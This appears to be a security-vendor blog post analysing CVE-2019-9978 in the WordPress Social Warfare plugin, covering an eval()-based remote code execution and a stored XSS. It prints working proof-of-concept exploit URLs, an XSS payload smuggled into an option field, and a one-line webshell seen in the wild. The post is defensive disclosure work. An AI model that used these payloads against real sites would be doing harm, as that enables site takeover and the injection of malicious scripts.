Vulnerabilities

Exploits in the Wild for WordPress Social Warfare Plugin CVE-2019-9978

5 min read

Root Cause Analysis of the Vulnerabilities

Remote Code Execution (RCE) vulnerability

The root cause is located at social-warfare\lib\utilities\SWP_ Database_Migration.php:

Figure 1. WordPress Social Warfare handle $_GET['swp_url']

Figure 1 shows that the $array is constructed by $options which in turn came from a remote file located in $_GET[‘swp_url’]. We can see in line 250 in Figure 1, the $array will be executed by eval() function without any security checks, which causes the arbitrary code execution.

Stored XSS vulnerability

The vulnerability code is in the same file as the above RCE.

Figure 2. Code to update option

The root cause of each of these two vulnerabilities is the same: the misuse of the is_admin() function in WordPress. Is_admin only checks if the requested page is part of admin interface and won’t prevent any unauthorized visit.

Proof of Concept

RCE Vulnerability

We manipulated a file in an internal environmental server with the below content, which stores a phpinfo function inside <pre> tags. phpinfo() is a PHP function which shows the current state and environment configuration of PHP. It’s usually used as a remote payload demonstrating PHP execution.

<pre>

phpinfo();

</pre>

We then visited the following URI on the vulnerable site and found the phpinfo() function was executed:

http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/phpinfo.txt

Figure 3. phpinfo() runs when the PoC request is sent

Stored XSS Vulnerability

We manipulated the configuration file in an internal environmental server with the below content:

<pre>

array (

'analytics_campaign' => 'SocialWarfare',

'analytics_medium' => 'social',

'bitly_authentication' => false,

'button_alignment' => 'fullWidth',

'button_shape' => 'flatFresh',

'button_size' => 1,

'cache_method' => 'advanced',

'ctt_css' => '',

'ctt_theme' => 'style1',

'custom_color' => '#000000',

'custom_color_outlines' => '#000000',

'decimal_separator' => 'period',

'decimals' => 0,

'default_colors' => 'full_color',

'float_alignment' => 'center',

'float_background_color' => '#ffffff',

'float_button_count' => 5,

'float_button_shape' => 'default',

'float_custom_color' => '#000000',

'float_custom_color_outlines' => '#000000',

'float_default_colors' => 'full_color',

'float_hover_colors' => 'fullColor',

'float_location' => 'bottom',

'float_location_page' => 'off',

'float_location_post' => 'on',

'float_mobile' => 'bottom',

'float_screen_width' => 1100,

'float_single_colors' => 'full_color',

'float_size' => 1,

'float_style_source' => true,

'float_vertical' => 'center',

'floating_panel' => true,

'force_new_shares' => false,

'frame_buster' => false,

'full_content' => false,

'google_analytics' => false,

'hover_colors' => 'full_color',

'last_migrated' => '3.0.5',

'location_archive_categories' => 'below',

'location_home' => 'none',

'location_page' => 'below',

'location_post' => 'below',

'minimum_shares' => 0,

'network_shares' => true,

'og_page' => 'article',

'og_post' => 'article',

'order_of_icons' =>

array (

'twitter' => 'twitter',

'linkedIn' => 'linkedin',

'pinterest' => 'pinterest',

'facebook' => 'facebook',

'google_plus' => 'google_plus',

'order_of_icons_method' => 'manual',

'pin_browser_extension' => false,

'pin_browser_extension_location' => 'hidden',

'pinit_image_description' => 'alt_text',

'pinit_image_source' => 'image',

'pinit_location_horizontal' => 'center',

'pinit_location_vertical' => 'top',

'pinit_min_height' => '200',

'pinit_min_width' => '200',

'pinit_toggle' => false,

'pinterest_fallback' => 'all',

'pinterest_image_location' => 'hidden',

'recover_shares' => false,

'recovery_format' => 'unchanged',

'recovery_prefix' => 'unchanged',

'recovery_protocol' => 'unchanged',

'single_colors' => 'full_color',

'swp_click_tracking' => false,

'swp_twitter_card' => true,

'total_shares' => true,

'totals_alignment' => 'total_sharesalt',

'transition' => 'slide',

'twitter_id' => '"><script>alert(/kow/)</script>',

'twitter_shares' => false,

'utm_on_pins' => false,

)

</pre>

Then we returned to the vulnerable WordPress host at http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/1.txt

When you visit the Social Warfare page in the WordPress dashboard, you will see an alert as shown in Figure 4:

Figure 4. Alert shown when the administrator visits the dashboard

Exploits in the Wild

RCE Vulnerability

We also caught several samples exploiting these vulnerabilities in the wild, Figure 5 shows a POST request from one of the samples:

Figure 5. POST request for sample found in the wild

This code is the exploit for the RCE vulnerability and will manipulate a one-line webshell which allows the attacker to control the website.

<pre>eval($_REQUEST['wpaa'])</pre>

Stored XSS Vulnerability

Figure 6 shows decoded malicious JavaScript code exploiting the stored XSS vulnerability which redirects victims to an ads site. The attackers can get advertising revenue by doing this.

Figure 6. Decoded malicious JavaScript

Affected sites

We found about 40,000 sites that have installed this plugin, most of which are running a vulnerable version, including education sites, finance sites, and news sites. Many of these sites receive high traffic which we can see with Alexa global traffic rank in the left column in Figure 7:

Figure 7. Affected sites result from public WWW

Conclusion and Mitigation

There are many exploits in the wild for the Social Warfare plugin and it is likely they will continue to be used maliciously. Since over 75 million websites are using WordPress and many of the high traffic WordPress websites are using the Social Warfare plugin, the users of those websites could be exposed to malware, phishing pages or miners. Website administrators should to update the Social Warfare plugin to 3.5.3 or newer version.

Palo Alto Networks customers are protected from those two vulnerabilities by the following products and services:

Threat Prevention Signature 55424
PAN-DB blocks attacker’s C&C server IP and domain
WildFire and Antivirus identifies and blocks exploitation payload

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.